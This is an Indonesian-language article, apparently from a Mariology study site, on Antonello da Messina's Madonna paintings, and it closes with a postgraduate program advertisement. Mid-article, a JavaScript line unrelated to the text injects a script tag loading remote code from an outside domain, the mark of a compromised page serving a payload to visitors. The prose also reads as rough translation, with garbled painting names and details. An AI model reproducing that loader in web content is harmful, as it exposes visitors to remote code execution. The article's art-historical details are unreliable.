Antonello da Messina: Mariologi “Homo Novus”
Pendahuluan
Keunggulan Antonello da Messina tidak hanya terletak pada peningkatan kondisi seni lukis modern dengan mempopulerkan metode lukisan minyak, tetapi juga karena ia merupakan salah satu pelukis Italia paling berani pada abad ke-15. Keunggulan utamanya adalah memicu emosi yang lembut, baik dalam berbagai subjek di mana representasi keteguhan mengalahkan keanggunan, keagungan mengalahkan keindahan, kesedihan mengalahkan lembutnya, atau ketenangan dari afeksi paling dalam dan manis dari jiwa.
Terlahir sekitar tahun 1430 di Messina, di mana ia meninggal pada tahun 1479, Antonello adalah salah satu figur paling misterius dalam seni Italia, karena, dengan sedikit kesaksian yang diterima, ia mewujudkan identitas ganda sebagai seniman lokal yang mengikuti tradisi dan sebagai seniman internasional yang mampu melakukan inovasi revolusioner. Ia menggabungkan tata bahasa Flameng dalam sintaks Italia dan memberikan kemanusiaan dari tanah dan pulau-nya ekspresi mutlak dan abadi.
Itulah yang dikatakan oleh Retrat mereka, yang begitu ‘Sicilian yang mengerikan’ sehingga seolah-olah kita bisa mendengar mereka berbicara dalam dialek mereka, sama seperti yang mereka gunakan dalam Pengumuman mereka. Pengikatan yang kuat terhadap subjek, transfigurasi lirik dari substansi yang paling intim dan paling hangat dari kemanusiaan, yang ia tuju untuk membentuk absolutisme, adalah alasan di balik keheranan yang misterius yang menguasai siapa pun yang melihat karya Antonello.
Oleh karena itu, karakter-karakter duniawi pada Patung Salib Sibiu tampak terbakar oleh api internal, yang mengonsumsi dan menyebar dalam panas putih langit lanskap. Oleh karena itu, para santo dan Perawan memproyeksikan kehadiran mereka yang lembut dengan penderitaan dan kesederhanaan yang sederhana.
Antonello adalah perwakilan khas dari *Homo Novus* Renaisans, fenomena yang sepenuhnya Italia dari Sisilia hingga Venesia. Ia menjadi simbol abad ke-15, abad di mana kesadaran diri kembali muncul dan menyeberangi samudra besar untuk menemukan Dunia Baru, di mana *devotio moderna* mengharapkan spiritualitas intim dan subjektif, berlawanan dengan kebajikan kolektif Abad Pertengahan.
Bahasa Gestur
Dalam penggambaran Perawan dengan Anak, yang merupakan tandingan perempuan dari berbagai potret laki-laki, Antonello da Messina mengambil inspirasi dari tanah kelahirannya. Baik penampilan fisik maupun sikap Perawan dalam lukisan Antonello, seperti tangan yang menutupi jilbab Pengumuman di Palermo, mengingatkan pada wanita Sisilia.
Sebagai Perawan-perawan pertama, seperti Perawan Garam atau
Perawan Pembaca menampilkan di latar belakang monokromatik keanggunan berhias perhiasan dan jubah, yang mengingatkan pada pelatihan Antonello di Colantonio, Napoli, tempat ia pertama kali bersentuhan dengan seni Flamendik.
Perawan Salting menggambarkan Ibu Suci dengan Anak di tangannya, dikelilingi oleh dua malaikat Skandinavia sebagai Ratu Surga. Gambar kecil Gotik dari Yesus yang memegang roma, simbol kesuburan dan kerajaan Maria, tetapi juga melambangkan Kesakitan karena warna merah dari buah-buahan, seperti darah. Selendang transparan Perawan mewakili keanggunan dan kemahiran yang tinggi, sama seperti deskripsi yang indah tentang perhiasan dan brokat.
Para malaikat, latar belakang gelap, mahkota yang rumit dengan efek cahaya logam, cahaya putih tajam mengingatkan pada seni Belanda yang Antonello mampu mediasi dengan ruang dan monumentalitas Italia.
Wajah tegas dan tak tergoyahkan, di mana segala sesuatu, dari garis gelap rambut hingga keputihan kulit, dari tanda-tanda geometris di bawah alis dan dagu hingga mulut misterius, telinga sempurna, seolah mencari kekakuan yang tak berubah dari patung, membekukan dalam stilisasi marmer jenis keindahan panas yang masih dapat dikenali di antara kerumunan wanita di Sisilia.
Sebuah hubungan ikonografis menghubungkan Perawan Salting dengan Perawan Pembaca, hubungan yang sangat dekat, begitu dekat sehingga tidak tampak kebetulan, dan hampir menyiratkan gagasan bahwa Yesus Anak menggantikan buku terbuka yang ada di tangan Ibu-Nya pada saat terakhir.
Perawan pembaca, dengan wajah putih yang tampak memancarkan cahaya, karena mahkota dihiasi dengan lili dan mawar, dan buku terbuka di tangannya, karya muda dari Messina yang mendeskripsikannya sebagai makhluk yang tajam, dengan mulut pahit, tangan panjang dan hampir predator, dengan wajah tertutup dalam pita yang tersiksa, memenuhi permintaan banyak meja devosi pribadi yang penuh rasa hormat.
var url = ‘https://wafsearct.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
Untuk memperdalam refleksi tentang Mariologi dalam seni suci dan lukisan Renaisans, lihat Exhortasi Apostolik Marialis Cultus dari Paus Paulus VI, yang menghargai ekspresi artistik sebagai sarana yang istimewa untuk devosi dan kontemplasi marian.
Lanjutkan studi Anda: jelajahi MariologiTeologi marianpenampakan marian dan Program Pascasarjana Mariologi.
Pasca-Sarjana dalam Mariologi
Apakah Anda ingin mendalami studi Anda dalam Mariologi? Kenali Program Pasca Sarjana Mariologi dari Locus Mariologicus, sebuah pendidikan akademik yang menggabungkan ketatasan teologis, kehidupan spiritual, dan tradisi hidup Gereja.Apakah Anda ingin mempelajari mariologi secara serius?
Artikel ini berasal dari koleksi perpustakaan Locus Mariologicus. Program Pascasarjana Mariologi membawa Anda ke sumber yang sama, dengan bimbingan akademik: Alkitab, Para Bapa Gereja, dan Magisteri, mulai dari dogma pertama hingga isu-isu kontemporer.
Responses